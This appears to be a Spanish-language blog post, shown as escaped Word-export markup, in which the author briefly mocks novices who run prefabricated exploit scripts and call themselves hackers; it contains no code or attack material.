List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin-top:0in;  mso-para-margin-right:0in;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0in;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-fareast-font-family:"Times New Roman";  mso-fareast-theme-font:minor-fareast;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:"Times New Roman";  mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=""&gt;ños aprenden a usar un script de explo.it y se creen los mega huaxxxx000rsss xD.&lt;br /&gt;&lt;br /&gt;y como que hay muchos des aires de grandeza, antes pues al menos tenian un poco de mas conocimientos, al menos antes los que tenian esos aires de megahuax0r xn80_x112 tenian algunos comocimientos.&lt;br /&gt;&lt;br /&gt;pero ahora vemos muchos creiditos con scripts pre-fabricados creyendoselas de mierdas (cosa que no se equivocan)&lt;br /&gt;&lt;br /&gt;pero saben que son mierdatos.&lt;br /&gt;&lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-priority:99;  mso-style-qformat:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin-top:0in;  mso-para-margin-right:0in;  mso-para-margin-bottom:10.0pt;  mso-para-margin-left:0in;  line-height:115%;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:"Calibri","sans-serif";  mso-ascii-font-family:Calibri;  mso-ascii-theme-font:minor-latin;  mso-fareast-font-family:"Times New Roman";  mso-fareast-theme-font:minor-fareast;  mso-hansi-font-family:Calibri;  mso-hansi-theme-font:minor-latin;  mso-bidi-font-family:"Times New Roman";  mso-bidi-theme-font:minor-bidi;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;span style=""&gt;en fin mi gente por aca estamos hay que poner la escena de nuevo como estaba hace 5 a&lt;/span&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;   